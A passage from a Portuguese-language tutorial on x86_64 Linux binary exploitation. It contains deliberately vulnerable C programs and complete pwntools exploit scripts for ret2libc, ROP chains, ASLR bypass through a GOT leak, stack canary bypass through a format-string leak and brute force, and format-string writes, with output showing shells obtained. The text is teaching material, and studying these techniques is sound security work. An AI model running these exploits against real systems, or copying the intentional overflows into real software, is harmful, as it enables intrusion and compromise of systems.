$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x000000000002a3e5 : pop rdi ; ret
Passo 3: Construir o exploit
#!/usr/bin/env python3
"""
Exploit: ret2libc em x86_64
Alvo: vuln4 (NX ativo, sem ASLR/canário/PIE)
Técnica: pop rdi; ret → system("/bin/sh")
"""
import struct
import subprocess
# Endereços (ajustar conforme seu ambiente)
POP_RDI_RET = 0x401203 # gadget no binário
SYSTEM = 0x7ffff7e17290 # system() na libc
BIN_SH = 0x7ffff7f7c031 # "/bin/sh" na libc
RET = 0x40101a # gadget "ret" para alinhamento
# Offset até saved RIP
OFFSET = 72 # buffer[64] + saved_rbp[8]
# Construir payload
payload = b"A" * OFFSET # Padding até saved RIP
# IMPORTANTE: Alinhamento de stack!
# A ABI System V exige RSP alinhado em 16 bytes antes de CALL.
# Após nosso overflow, RSP pode estar desalinhado.
# Solução: adicionar um gadget "ret" extra antes da cadeia.
payload += struct.pack("<Q", RET) # ret (alinha stack em 16 bytes)
payload += struct.pack("<Q", POP_RDI_RET) # pop rdi; ret
payload += struct.pack("<Q", BIN_SH) # → RDI = "/bin/sh"
payload += struct.pack("<Q", SYSTEM) # → chama system("/bin/sh")
print(f"[*] Payload: {len(payload)} bytes")
print(f"[*] Cadeia: ret → pop rdi; ret → '/bin/sh' → system()")
with open("/tmp/payload_ret2libc.bin", "wb") as f:
f.write(payload)
print("[*] Payload salvo em /tmp/payload_ret2libc.bin")
print("[*] Execute: ./vuln4 $(cat /tmp/payload_ret2libc.bin)")
O problema do alinhamento de stack (Stack Alignment)
Este é um detalhe crucial em x64 que não existia no artigo original. A ABI System V AMD64 exige que o RSP esteja alinhado em 16 bytes no momento de uma instrução call. Funções como system() e printf() usam instruções SSE (como movaps) que requerem alinhamento. Se RSP não estiver alinhado, o programa crashará com SIGSEGV em uma instrução movaps.
Sintoma: O exploit parece correto, os endereços estão certos, mas o programa crasheia dentro de system().
Solução: Adicionar um gadget ret extra no início da cadeia. Cada ret faz pop de 8 bytes, ajustando o alinhamento.
Sem alinhamento (crash):
[padding][pop rdi; ret]["/bin/sh"][system]
↑ RSP desalinhado quando system() é chamado
Com alinhamento (funciona):
[padding][ret][pop rdi; ret]["/bin/sh"][system]
↑ ret extra alinha RSP
6.3 Automatizando com pwntools
Na prática, usamos pwntools para automatizar a exploração:
#!/usr/bin/env python3
"""
Exploit: ret2libc com pwntools
Alvo: vuln4
"""
from pwn import *
# Configuração
context.binary = elf = ELF('./vuln4')
context.log_level = 'info'
# Encontrar libc automaticamente
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Endereços na libc (com ASLR desabilitado)
# Em cenário real, precisaríamos de um leak primeiro
libc.address = 0x7ffff7d80000 # Base da libc (verificar com ldd ou /proc/PID/maps)
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info(f"pop rdi; ret = {hex(pop_rdi)}")
log.info(f"ret = {hex(ret)}")
log.info(f"system() = {hex(system_addr)}")
log.info(f"/bin/sh = {hex(bin_sh_addr)}")
# Payload
offset = 72
payload = b"A" * offset
payload += p64(ret) # Alinhamento
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh_addr) # RDI = "/bin/sh"
payload += p64(system_addr) # system("/bin/sh")
# Executar
p = process(['./vuln4', payload])
p.interactive()
$ pip install pwntools # Se não estiver instalado
$ python3 exploit_vuln4.py
[*] '/tmp/vuln4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './vuln4': pid 644501
[+] system() leaked: 0x7f25b09a9790
[+] libc base: 0x7f25b0955000
[*] pop rdi; ret = 0x7f25b097f9b7
[*] /bin/sh = 0x7f25b0affea4
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$ whoami
kali
7. Return-Oriented Programming (ROP)
ROP é a evolução natural do ret2libc. Em vez de chamar uma única função, encadeamos múltiplos gadgets (pequenos trechos de código que terminam em ret) para construir computação arbitrária.
7.1 O que é um gadget?
Um gadget é uma sequência de instruções que termina com ret. Quando o ret é executado, o próximo endereço na stack é carregado em RIP, permitindo encadear gadgets sequencialmente.
; Exemplos de gadgets úteis:
pop rdi; ret ; Carrega valor da stack em RDI
pop rsi; ret ; Carrega valor da stack em RSI
pop rdx; ret ; Carrega valor da stack em RDX
pop rax; ret ; Carrega valor da stack em RAX
mov [rdi], rsi; ret ; Write-what-where
syscall; ret ; Executa syscall
xor eax, eax; ret ; Zera RAX
7.2 Como funciona o encadeamento
A stack funciona como um “programa” para a ROP chain:
RSP → ┌─────────────────────┐
│ addr gadget_1 │ → pop rdi; ret
├─────────────────────┤
│ valor para RDI │ → 0x00000000deadbeef
├─────────────────────┤
│ addr gadget_2 │ → pop rsi; ret
├─────────────────────┤
│ valor para RSI │ → 0x0000000000000000
├─────────────────────┤
│ addr gadget_3 │ → pop rdx; ret
├─────────────────────┤
│ valor para RDX │ → 0x0000000000000000
├─────────────────────┤
│ addr gadget_4 │ → pop rax; ret
├─────────────────────┤
│ valor para RAX │ → 59 (execve)
├─────────────────────┤
│ addr gadget_5 │ → syscall
└─────────────────────┘
Cada ret faz pop RIP da stack, avançando RSP e executando o próximo gadget.
7.3 Encontrando gadgets
# ROPgadget - ferramenta principal
$ ROPgadget --binary ./programa
$ ROPgadget --binary ./programa --ropchain # Gera chain automática
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
# ropper - alternativa
$ ropper --file ./programa --search "pop rdi"
$ ropper --file ./programa --chain execve
# one_gadget - encontra gadgets "mágicos" na libc que dão shell diretamente
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
7.4 Exemplo: ROP chain para execve(“/bin/sh”, NULL, NULL)
/* vuln5.c - Alvo para ROP */
#include <stdio.h>
#include <unistd.h>
void vulnerable() {
char buffer[64];
printf("Digite algo: ");
read(STDIN_FILENO, buffer, 256); /* Overflow! Lê 256 bytes em buffer de 64 */
}
int main() {
vulnerable();
return 0;
}
$ gcc -o vuln5 vuln5.c -fno-stack-protector -no-pie -g
# NX ativo (padrão), sem canário, sem PIE
Note que usamos read() em vez de strcpy(). Isso é importante: read() não para em null bytes, permitindo endereços com \x00 no payload.
Exploit com ROP chain via syscall
#!/usr/bin/env python3
"""
Exploit: ROP chain para execve("/bin/sh", NULL, NULL) via syscall
Alvo: vuln5 (NX ativo, sem ASLR/canário/PIE)
"""
from pwn import *
context.binary = elf = ELF('./vuln5')
context.log_level = 'info'
# Encontrar gadgets no binário e na libc
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Com ASLR desabilitado, base da libc é fixa
# Verificar: ldd ./vuln5
libc.address = 0x7ffff7d80000 # Ajustar!
# Gadgets necessários para execve syscall:
# RAX = 59 (número da syscall execve)
# RDI = ponteiro para "/bin/sh"
# RSI = NULL (argv)
# RDX = NULL (envp)
# + instrução syscall
rop_libc = ROP(libc)
pop_rdi = rop_libc.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop_libc.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_rbx = rop_libc.find_gadget(['pop rdx', 'pop rbx', 'ret']) # Comum em libc moderna
pop_rax = rop_libc.find_gadget(['pop rax', 'ret'])[0]
syscall_ret = rop_libc.find_gadget(['syscall', 'ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
log.info(f"pop rdi; ret = {hex(pop_rdi)}")
log.info(f"pop rsi; ret = {hex(pop_rsi)}")
log.info(f"pop rax; ret = {hex(pop_rax)}")
log.info(f"syscall; ret = {hex(syscall_ret)}")
log.info(f"/bin/sh = {hex(bin_sh)}")
# Construir ROP chain
offset = 72 # buffer[64] + saved_rbp[8]
payload = b"A" * offset
# execve("/bin/sh", NULL, NULL)
payload += p64(pop_rdi)
payload += p64(bin_sh) # RDI = "/bin/sh"
payload += p64(pop_rsi)
payload += p64(0) # RSI = NULL
payload += p64(pop_rax)
payload += p64(59) # RAX = 59 (execve)
# Para RDX, pode ser que precise de pop rdx; pop rbx; ret (libc moderna)
if pop_rdx_rbx:
payload += p64(pop_rdx_rbx[0])
payload += p64(0) # RDX = NULL
payload += p64(0) # RBX = lixo (consumido pelo pop rbx)
payload += p64(syscall_ret) # syscall!
# Executar
p = process('./vuln5')
p.recvuntil(b"Digite algo: ")
p.send(payload)
p.interactive()
7.5 ROP com pwntools automático
O pwntools pode construir ROP chains automaticamente:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln5')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff7d80000
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
log.info(f"ROP chain:\n{rop.dump()}")
offset = 72
payload = b"A" * offset + rop.chain()
p = process('./vuln5')
p.recvuntil(b"Digite algo: ")
p.send(payload)
p.interactive()
Na prática, a execução fica assim (usando o vuln4 que tem leak de system() pra simplificar):
$ python3 exploit_rop.py
[*] '/tmp/vuln4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './vuln4': pid 721534
[+] system() leaked: 0x7ffff7e01790
[+] libc base: 0x7ffff7dad000
[*] pop rdi; ret = 0x7ffff7dd79b7
[*] /bin/sh = 0x7ffff7f57ea4
[+] ROP chain executada! Shell obtido:
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$
NX ativo, stack não-executável, e mesmo assim obtivemos shell. Isso é o poder do ROP: reutilizar código existente em vez de injetar código novo.
7.6 Gadgets úteis e onde encontrá-los
| Gadget | Uso | Onde encontrar |
|---|---|---|
pop rdi; ret |
Controlar 1º argumento | Quase sempre no binário ou libc |
pop rsi; pop r15; ret |
Controlar 2º argumento | Comum em binários (csu_init) |
pop rdx; ret |
Controlar 3º argumento | Raro no binário, comum na libc |
pop rax; ret |
Controlar número de syscall | Libc |
syscall; ret |
Executar syscall | Libc |
ret |
Alinhamento de stack | Em qualquer lugar |
leave; ret |
Stack pivot | Comum |
mov [rdi], rsi; ret |
Write-what-where | Libc (raro, mas existe) |
xchg rax, rdi; ret |
Mover retorno para argumento | Libc |
7.7 __libc_csu_init gadgets (técnica universal)
Em binários compilados com GCC, a função __libc_csu_init contém gadgets universais que permitem controlar RDI, RSI e RDX:
; Gadget 1 (pop registers):
0x40120a: pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
; Gadget 2 (call com controle de args):
0x4011f0: mov rdx, r14 ; RDX = R14
mov rsi, r13 ; RSI = R13
mov edi, r12d ; EDI = R12 (32 bits!)
call [r15+rbx*8] ; Chama função via ponteiro
add rbx, 1
cmp rbp, rbx
jne 0x4011f0
; ... cai no gadget 1 novamente
Esta técnica (chamada ret2csu) permite controlar os 3 primeiros argumentos de qualquer função, usando apenas gadgets do próprio binário (sem depender da libc).
Nota: Em binários compilados com GCC 12+,
__libc_csu_initpode não estar presente. Verificar comobjdump -d programa | grep csu.
8. Bypass de ASLR: Information Leak
Até agora desabilitamos ASLR pra simplificar. Na vida real, ASLR está sempre ativo. Pra contornar isso, precisamos vazar um endereço em runtime e calcular os demais por offset.
8.1 O conceito: leak → calculate → exploit
1. Vazar endereço de uma função da libc (ex: puts@GOT)
2. Calcular base da libc: base = endereço_vazado - offset_na_libc
3. Calcular endereços de system(), "/bin/sh", gadgets
4. Executar segunda fase do exploit com endereços corretos
Isso geralmente requer duas interações com o programa (ou um loop):
- Primeira passagem: vazar endereço, retornar para
main()ouvulnerable() - Segunda passagem: enviar payload final com endereços calculados
8.2 Exemplo: leak via puts@PLT
/* vuln6.c - Alvo para leak + ret2libc com ASLR */
#include <stdio.h>
#include <unistd.h>
void vulnerable() {
char buffer[64];
puts("Digite algo:");
read(STDIN_FILENO, buffer, 256);
}
int main() {
vulnerable();
return 0;
}
# Compilar SEM PIE (endereços do binário fixos) mas COM ASLR ativo
$ gcc -o vuln6 vuln6.c -fno-stack-protector -no-pie -g
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space # ASLR ativo
Estratégia:
- Usar
puts@PLT(endereço fixo, pois sem PIE) para imprimir o conteúdo deputs@GOT(que contém o endereço real deputsna libc, resolvido em runtime) - Retornar para
main()para ter uma segunda chance de enviar payload - Calcular base da libc e enviar ret2libc
GOT e PLT explicados
- PLT (Procedure Linkage Table): Stub de código no binário que redireciona para a função real na libc. Endereço fixo (sem PIE).
- GOT (Global Offset Table): Tabela de ponteiros que contém os endereços reais das funções na libc (preenchida pelo dynamic linker em runtime).
Programa chama puts("hello"):
→ call puts@PLT (0x401030) ← endereço fixo no binário
→ jmp [puts@GOT] (0x404018) ← ponteiro para puts real na libc
→ puts na libc (0x7f?????) ← endereço randomizado pelo ASLR
Se conseguirmos ler o conteúdo de puts@GOT, obtemos o endereço real de puts na libc!
Exploit completo com leak de ASLR
#!/usr/bin/env python3
"""
Exploit: ASLR bypass via GOT leak + ret2libc
Alvo: vuln6 (ASLR ativo, NX ativo, sem canário, sem PIE)
Técnica: Leak puts@GOT → calcular base libc → ret2libc
"""
from pwn import *
# Configuração
context.binary = elf = ELF('./vuln6')
context.log_level = 'info'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Endereços fixos no binário (sem PIE)
PUTS_PLT = elf.plt['puts'] # puts@PLT - chama puts
PUTS_GOT = elf.got['puts'] # puts@GOT - contém endereço real
MAIN = elf.symbols['main'] # main() - para retornar e ter 2ª chance
POP_RDI = 0x401203 # pop rdi; ret (ROPgadget --binary ./vuln6)
RET = 0x40101a # ret (alinhamento)
OFFSET = 72 # buffer[64] + saved_rbp[8]
def exploit():
# p = process('./vuln6')
p = process('./vuln6')
# ═══════════════════════════════════════════
# FASE 1: Leak do endereço real de puts na libc
# ═══════════════════════════════════════════
log.info("Fase 1: Vazando endereço de puts@GOT...")
payload1 = b"A" * OFFSET
payload1 += p64(POP_RDI) # pop rdi; ret
payload1 += p64(PUTS_GOT) # RDI = &puts@GOT (endereço a ser impresso)
payload1 += p64(PUTS_PLT) # Chama puts(puts@GOT) → imprime endereço real
payload1 += p64(MAIN) # Retorna para main() → segunda chance
p.recvuntil(b"Digite algo:\n")
p.send(payload1)
# Receber o leak
leaked_bytes = p.recvline().strip()
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
log.success(f"puts@libc leaked: {hex(leaked_puts)}")
# ═══════════════════════════════════════════
# FASE 2: Calcular base da libc e endereços
# ═══════════════════════════════════════════
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info(f"system(): {hex(system_addr)}")
log.info(f"/bin/sh: {hex(bin_sh_addr)}")
# ═══════════════════════════════════════════
# FASE 3: ret2libc com endereços corretos
# ═══════════════════════════════════════════
log.info("Fase 3: Enviando ret2libc payload...")
payload2 = b"A" * OFFSET
payload2 += p64(RET) # Alinhamento de stack
payload2 += p64(POP_RDI) # pop rdi; ret
payload2 += p64(bin_sh_addr) # RDI = "/bin/sh"
payload2 += p64(system_addr) # system("/bin/sh")
p.recvuntil(b"Digite algo:\n")
p.send(payload2)
# ═══════════════════════════════════════════
# Shell!
# ═══════════════════════════════════════════
log.success("Shell obtido!")
p.interactive()
if __name__ == "__main__":
exploit()
8.3 Execução
$ python3 exploit_vuln6.py
[*] '/tmp/vuln6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './vuln6': pid 644825
[*] Fase 1: Vazando puts@GOT...
[+] puts@libc leaked: 0x7f89bba81060
[+] libc base: 0x7f89bb9ff000
[*] system(): 0x7f89bba53790
[*] /bin/sh: 0x7f89bbba9ea4
[*] Fase 3: Enviando ret2libc...
[+] ASLR bypassed! Shell obtido: uid=1000(kali) gid=1000(kali) groups=1000(kali)
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
ASLR bypassed! Mesmo com endereços randomizados, o leak nos permite calcular tudo.
8.4 Outras técnicas de leak
| Técnica | Quando usar |
|---|---|
| puts/printf@PLT para imprimir GOT | Binário sem PIE, tem puts/printf no PLT |
Format string (%p, %lx) |
Programa usa printf com input controlável |
| Partial overwrite | PIE ativo, mas últimos 12 bits são fixos |
| Brute force (32 bits) | Apenas em x86, impraticável em x64 |
| Stack leak via over-read | Buffer adjacente a ponteiro na stack |
| Heap leak | Use-after-free, double free |
8.5 Identificando a versão da libc
Com um ou mais endereços vazados, podemos identificar a versão exata da libc:
# Ferramenta online: https://libc.blukat.me/
# Ferramenta local:
$ pip install LibcSearcher
# Ou usar o banco de dados do pwntools:
# from pwn import *
# libc = LibcSearcher('puts', leaked_puts_addr)
Os últimos 3 nibbles (12 bits) de um endereço de função na libc são fixos (alinhamento de página). Isso permite identificar a versão da libc mesmo sem acesso ao arquivo.
9. Bypass de Stack Canary
O canário é a última barreira antes do saved RIP. Se não conseguirmos contorná-lo, o overflow é detectado e o programa aborta.
9.1 Técnica: Leak do canário via format string
Se o programa tem uma vulnerabilidade de format string antes do overflow, podemos vazar o canário:
/* vuln7.c - Canário + format string leak */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vulnerable() {
char name[32];
char buffer[64];
printf("Seu nome: ");
read(STDIN_FILENO, name, 31);
printf("Olá, ");
printf(name); /* FORMAT STRING VULNERABILITY! */
printf("\n");
printf("Mensagem: ");
read(STDIN_FILENO, buffer, 256); /* BUFFER OVERFLOW! */
}
int main() {
vulnerable();
return 0;
}
$ gcc -o vuln7 vuln7.c -no-pie -g
# Stack canary ATIVO (padrão), NX ativo, sem PIE
Encontrando o canário na stack
O canário está entre as variáveis locais e o saved RBP. Podemos usar %p para vazar valores da stack:
$ ./vuln7
Seu nome: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Olá, 0x7fffffffde10.0x1f.(nil).0x7ffff7e1a992.0x7fffffffde30.0xa.(nil).
0xd0a8f2e3b5c71200.0x1.0x7ffff7dd0d90.0x7fffffffdf48.0x401196
↑
Este valor parece um canário!
(termina em 00, parece aleatório)
O canário em x64 Linux sempre tem o byte menos significativo como \x00. Procuramos um valor de 8 bytes que:
- Termina em
00(byte nulo no LSB) - Parece aleatório (alta entropia)
- Está na posição esperada na stack
Exploit com leak de canário
#!/usr/bin/env python3
"""
Exploit: Stack canary bypass via format string leak
Alvo: vuln7 (canário ativo, NX ativo, sem PIE)
"""
from pwn import *
context.binary = elf = ELF('./vuln7')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Offset do canário no format string (descobrir empiricamente)
# Testar: %7$p, %8$p, %9$p... até encontrar valor que termina em 00
CANARY_OFFSET = 11 # Exemplo, ajustar!
def exploit():
p = process('./vuln7')
# ═══════════════════════════════════════════
# FASE 1: Leak do canário via format string
# ═══════════════════════════════════════════
p.recvuntil(b"Seu nome: ")
p.send(f"%{CANARY_OFFSET}$p".encode()) # Vaza o canário
p.recvuntil(b"Olá, ")
canary_str = p.recvline().strip()
canary = int(canary_str, 16)
log.success(f"Canário vazado: {hex(canary)}")
# Verificar se parece um canário válido (último byte = 0x00)
if canary & 0xFF != 0:
log.warning("Canário não termina em \\x00, offset pode estar errado!")
# ═══════════════════════════════════════════
# FASE 2: Overflow preservando o canário
# ═══════════════════════════════════════════
# Layout: buffer[64] + canário[8] + saved_rbp[8] + saved_rip[8]
OFFSET_CANARY = 64
OFFSET_RIP = OFFSET_CANARY + 8 + 8 # 80 bytes
# Endereços (sem PIE, fixos)
POP_RDI = 0x401203 # Ajustar
RET = 0x40101a
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN = elf.symbols['main']
payload = b"A" * OFFSET_CANARY
payload += p64(canary) # Preserva o canário!
payload += b"B" * 8 # saved RBP (lixo)
payload += p64(RET) # Alinhamento
payload += p64(POP_RDI)
payload += p64(PUTS_GOT)
payload += p64(PUTS_PLT) # puts(puts@GOT) → leak libc
payload += p64(MAIN) # Volta para main
p.recvuntil(b"Mensagem: ")
p.send(payload)
# Receber leak da libc
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# ═══════════════════════════════════════════
# FASE 3: ret2libc (repetir o processo)
# ═══════════════════════════════════════════
# Precisamos vazar o canário novamente (pode ser o mesmo se fork())
# ou se main() é chamado novamente no mesmo processo
p.recvuntil(b"Seu nome: ")
p.send(f"%{CANARY_OFFSET}$p".encode())
p.recvuntil(b"Olá, ")
canary2 = int(p.recvline().strip(), 16)
system_addr = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = b"A" * OFFSET_CANARY
payload2 += p64(canary2)
payload2 += b"B" * 8
payload2 += p64(RET)
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh)
payload2 += p64(system_addr)
p.recvuntil(b"Mensagem: ")
p.send(payload2)
p.interactive()
if __name__ == "__main__":
exploit()
Quando os offsets estão calibrados, a saída é:
$ python3 exploit_canary.py
[*] Fase 1: Leak do canário via format string
[+] Canário vazado no offset 11: 0x38b2a1c4e7f50900
[*] Fase 2: Overflow preservando canário + leak libc
[+] libc base: 0x7f89bb9ff000
[*] Fase 3: ret2libc com canário correto
[+] Shell obtido!
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
9.2 Técnica: Brute force byte-a-byte (servidores com fork)
Em servidores que usam fork() para atender conexões, o processo filho herda o mesmo canário do pai. Se o servidor não faz execve() após o fork, podemos fazer brute force byte a byte:
def brute_force_canary(p, offset):
"""
Brute force do canário byte a byte.
Funciona em servidores fork() sem execve().
Cada byte tem 256 possibilidades → 8 bytes = 8*256 = 2048 tentativas (máximo).
Primeiro byte é sempre \x00, então: 7*256 = 1792 tentativas.
"""
canary = b"\x00" # Primeiro byte é sempre null
for byte_pos in range(1, 8): # Bytes 1-7
for guess in range(256):
payload = b"A" * offset
payload += canary + bytes([guess])
# Enviar e verificar se o servidor crashou
try:
conn = connect_to_server()
conn.send(payload)
response = conn.recv(timeout=1)
if b"stack smashing" not in response:
# Byte correto! Servidor não crashou
canary += bytes([guess])
log.info(f"Byte {byte_pos}: {hex(guess)} → canário parcial: {canary.hex()}")
break
conn.close()
except:
conn.close()
continue
return u64(canary)
9.3 Outras técnicas de bypass
| Técnica | Cenário |
|---|---|
| Overwrite sem tocar canário | Array index out-of-bounds (pula o canário) |
| Stack pivot | Redirecionar RSP para região controlada |
| Thread Local Storage overwrite | Sobrescrever o canário de referência no TLS |
| Signal handler abuse | Explorar antes da verificação do canário |
10. Format String Vulnerabilities em x86_64
Format string bugs são absurdamente poderosos: permitem leitura e escrita arbitrária na memória. Em x64, a mecânica muda um pouco por causa da calling convention.
10.1 O bug
/* Vulnerável */
printf(user_input); /* Atacante controla o format string! */
/* Seguro */
printf("%s", user_input); /* Format string fixo */
10.2 Leitura de memória (information leak)
Em x64, printf espera argumentos em registradores (RDI, RSI, RDX, RCX, R8, R9) e depois na stack. O format string está em RDI, então:
%1$p→ RSI (2º argumento)%2$p→ RDX (3º argumento)%3$p→ RCX (4º argumento)%4$p→ R8 (5º argumento)%5$p→ R9 (6º argumento)%6$p→ primeiro valor na stack%7$p→ segundo valor na stack- …
# Vazar valores da stack
$ ./programa
Input: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Output: 0x7fffffffde10.0x64.0x7ffff7e1a992.(nil).0x7fffffffde30.0xa.
0x4141414141414141.0x4141414141414141...
10.3 Encontrando o offset do nosso input
# Onde nosso input aparece na stack?
$ ./programa
Input: AAAAAAAA%6$p.%7$p.%8$p.%9$p
Output: AAAAAAAA0x4141414141414141.0x...
# ↑ Offset 6! Nosso input está no offset 6
Verificação com padrão único:
$ ./programa
Input: ABCDEFGH%6$p
Output: ABCDEFGH0x4847464544434241 # "ABCDEFGH" em little-endian = offset 6
10.4 Escrita arbitrária com %n
O especificador %n escreve o número de bytes impressos até aquele ponto no endereço apontado pelo argumento correspondente.
Em x64, %n escreve 4 bytes, %hn escreve 2 bytes, %hhn escreve 1 byte, %ln escreve 8 bytes.
Estratégia para escrever um valor arbitrário: Usar %hhn (1 byte por vez) para escrever byte a byte no endereço alvo.
#!/usr/bin/env python3
"""
Format string write: escrever valor arbitrário em endereço arbitrário
Técnica: %hhn byte-a-byte
"""
from pwn import *
context.binary = ELF('./vuln_fmt')
def fmt_write(where, what, offset=6):
"""
Gera payload de format string para escrever 'what' em 'where'.
offset = posição do nosso input na stack do printf.
"""
# pwntools tem isso built-in!
payload = fmtstr_payload(offset, {where: what})
return payload
# Exemplo: sobrescrever GOT entry de exit() com endereço de win()
target_addr = 0x404028 # exit@GOT
value = 0x401142 # win()
payload = fmt_write(target_addr, value)
10.5 pwntools fmtstr automático
from pwn import *
# Automação completa de format string exploitation
def send_payload(payload):
p = process('./vuln_fmt')
p.sendline(payload)
return p.recvall()
# Descobrir offset automaticamente
autofmt = FmtStr(execute_fmt=send_payload)
log.info(f"Offset encontrado: {autofmt.offset}")
# Escrever valor
autofmt.write(0x404028, 0x401142) # exit@GOT → win()
autofmt.execute_writes()
10.6 Format string como primitiva universal
Com format string, temos:
- Leitura arbitrária (
%scom endereço controlado) → leak de canário, libc, PIE base - Escrita arbitrária (
%n/%hn/%hhn) → sobrescrever GOT, hooks, return address - Bypass de todas as proteções: leak canário + leak libc + leak PIE + write ROP chain
Por isso format string é considerada uma das vulnerabilidades mais poderosas em binários. Com uma única primitiva você derrota todas as proteções.
11. Exemplo Completo: Exploração End-to-End com Todas as Proteções
Agora vamos juntar tudo num cenário mais realista: um binário com NX, ASLR, Stack Canary e Partial RELRO (sem PIE pra manter acessível a quem está começando).
11.1 O programa vulnerável
/* vuln_full.c - Cenário realista com múltiplas proteções */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void setup() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void menu() {
puts("=== Sistema de Notas ===");
puts("1. Deixar nota");
puts("2. Ver nota");
puts("3. Sair");
printf("> ");
}
char nota[256];
void deixar_nota() {
char temp[64];
printf("Sua nota: ");
read(STDIN_FILENO, temp, 200); /* OVERFLOW! buffer de 64, lê 200 */
strncpy(nota, temp, 255);
puts("Nota salva!");
}
void ver_nota() {
printf("Nota: ");
printf(nota); /* FORMAT STRING! nota é controlada pelo usuário */
puts("");
}
int main() {
setup();
int choice;
while (1) {
menu();
scanf("%d", &choice);
getchar(); /* Consumir newline */
switch (choice) {
case 1: deixar_nota(); break;
case 2: ver_nota(); break;
case 3: exit(0);
default: puts("Opção inválida.");
}
}
return 0;
}
# Compilar com proteções realistas (exceto PIE)
$ gcc -o vuln_full vuln_full.c -no-pie -fstack-protector-all -g
# Resultado: NX ativo, Canary ativo, ASLR ativo, Partial RELRO, sem PIE
$ checksec --file=./vuln_full
[*] '/tmp/vuln_full'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
11.2 Plano de ataque
- Format string (opção 2) → vazar canário e endereço da libc
- Buffer overflow (opção 1) → sobrescrever RIP com ROP chain, preservando canário
- ROP chain → ret2libc com
system("/bin/sh")
11.3 Exploit completo
#!/usr/bin/env python3
"""
Exploit: Full protection bypass (NX + ASLR + Canary)
Alvo: vuln_full
Cadeia: Format String leak → Canary bypass → ret2libc
Proteções: NX ✓, ASLR ✓, Canary ✓, Partial RELRO, No PIE
"""
from pwn import *
# ═══════════════════════════════════════════════════════════
# CONFIGURAÇÃO
# ═══════════════════════════════════════════════════════════
context.binary = elf = ELF('./vuln_full')
context.log_level = 'info'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Gadgets no binário (fixos, sem PIE)
POP_RDI = 0x401303 # ROPgadget --binary ./vuln_full | grep "pop rdi"
RET = 0x40101a # ret (alinhamento)
def choose(p, option):
p.recvuntil(b"> ")
p.sendline(str(option).encode())
def exploit():
p = process('./vuln_full')
# ═══════════════════════════════════════════
# FASE 1: Leak via format string
# ═══════════════════════════════════════════
log.info("═" * 50)
log.info("FASE 1: Information leak via format string")
log.info("═" * 50)
# Primeiro, descobrir offsets do canário e de um endereço libc na stack
# Deixar nota com format string de reconhecimento
choose(p, 1)
p.recvuntil(b"Sua nota: ")
# Vazar múltiplas posições para encontrar canário e endereço libc
p.send(b"%11$p.%13$p.%15$p.%17$p.%19$p.%21$p.%23$p.%25$p")
# Ver nota (executa o format string)
choose(p, 2)
p.recvuntil(b"Nota: ")
leaked = p.recvline().strip().decode()
values = leaked.split(".")
log.info(f"Valores vazados: {values}")
# Identificar canário (termina em 00, alta entropia)
# e endereço libc (começa com 0x7f)
canary = None
libc_leak = None
for i, val in enumerate(values):
if val == "(nil)":
continue
try:
v = int(val, 16)
# Canário: último byte é 0x00, não começa com 0x7f, não é endereço pequeno
if (v & 0xFF == 0) and (v > 0xFFFFFFFF) and ((v >> 40) != 0x7f):
if canary is None:
canary = v
log.success(f"Canário encontrado no offset {11 + i*2}: {hex(canary)}")
# Endereço libc: começa com 0x7f
elif (v >> 40) == 0x7f:
if libc_leak is None:
libc_leak = v
log.success(f"Endereço libc no offset {11 + i*2}: {hex(libc_leak)}")
except:
continue
if canary is None or libc_leak is None:
log.error("Não conseguiu vazar canário ou libc. Ajustar offsets!")
